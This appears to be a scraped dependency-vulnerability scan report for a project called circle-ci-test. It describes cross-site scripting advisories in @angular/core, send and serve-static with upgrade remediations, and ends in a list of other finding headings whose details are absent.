Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.18, 20.3.16, 21.0.7, 21.1.0-rc.0 or higher.

References

GitHub PR

Cross-site Scripting (XSS) vulnerability report

low severity

Cross-site Scripting (XSS)

Vulnerable module: @angular/core
Introduced through: @angular/core@5.2.11

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › @angular/core@5.2.11

Remediation: Upgrade to @angular/core@19.2.18.

Overview

##Workaround

This vulnerability can be mitigated by avoiding dynamic template bindings for SVG <script> elements and strictly validating input against a trusted allowlist before it reaches the template.

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/core to version 19.2.18, 20.3.16, 21.0.7, 21.1.0-rc.0 or higher.

References

GitHub PR

Cross-site Scripting (XSS) vulnerability report

low severity

Cross-site Scripting

Vulnerable module: send
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › send@0.16.2

Remediation: Upgrade to browser-sync@3.0.3.
Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › serve-static@1.13.2 › send@0.16.2

Remediation: Upgrade to browser-sync@3.0.3.

Overview

send is a Better streaming static file server with Range and conditional-GET support

Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect() function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.

Note:

Exploiting this vulnerability requires the following:

The attacker needs to control the input to response.redirect()
Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade send to version 0.19.0, 1.1.0 or higher.

References

GitHub Commit

Cross-site Scripting vulnerability report

low severity

Cross-site Scripting

Vulnerable module: serve-static
Introduced through: browser-sync@2.29.3

Detailed paths

Introduced through: circle-ci-test@xeontem/circle-ci-test › browser-sync@2.29.3 › serve-static@1.13.2

Remediation: Upgrade to browser-sync@3.0.3.

Overview

serve-static is a server.

Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect function. An attacker can manipulate the redirection process by injecting malicious code into the input.

Note

To exploit this vulnerability, the following conditions are required:

The attacker should be able to control the input to response.redirect()
express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template

Details

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

Web servers
Application servers
Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
Give users the option to disable client-side scripts.
Redirect invalid requests.
Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serve-static to version 1.16.0, 2.1.0 or higher.

References

Cross-site Scripting vulnerability report

Vulnerabilities

Dependencies

Source

Find, fix and prevent vulnerabilities in your code.

critical severity new

HTTP Response Splitting

Detailed paths

Overview

Remediation

References

critical severity new

Prototype Pollution

Detailed paths

Overview

Details

Unsafe Object recursive merge

Property definition by path

Types of attacks

Affected environments

How to prevent

For more information on this vulnerability type:

Remediation

References

high severity

Prototype Pollution

Detailed paths

Overview

PoC

Details

Unsafe Object recursive merge

Property definition by path

Types of attacks

Affected environments

How to prevent

For more information on this vulnerability type:

Remediation

References

high severity new

Uncontrolled Recursion

Detailed paths

Overview

Remediation

References

high severity

Cross-site Scripting (XSS)

Detailed paths

Overview

Workaround

Details

Types of attacks

Affected environments

How to prevent

Remediation

References

high severity

Directory Traversal

Detailed paths

Overview

Details

Remediation

References

high severity

Symlink Attack

Detailed paths

Overview

Details

Remediation

References

high severity

Symlink Attack

Detailed paths

Overview

PoC

Details

Remediation

References

high severity

Insertion of Sensitive Information Into Sent Data

Detailed paths

Overview

critical severity

new

critical severity

new

high severity

new

high severity

new

medium severity

new

medium severity

new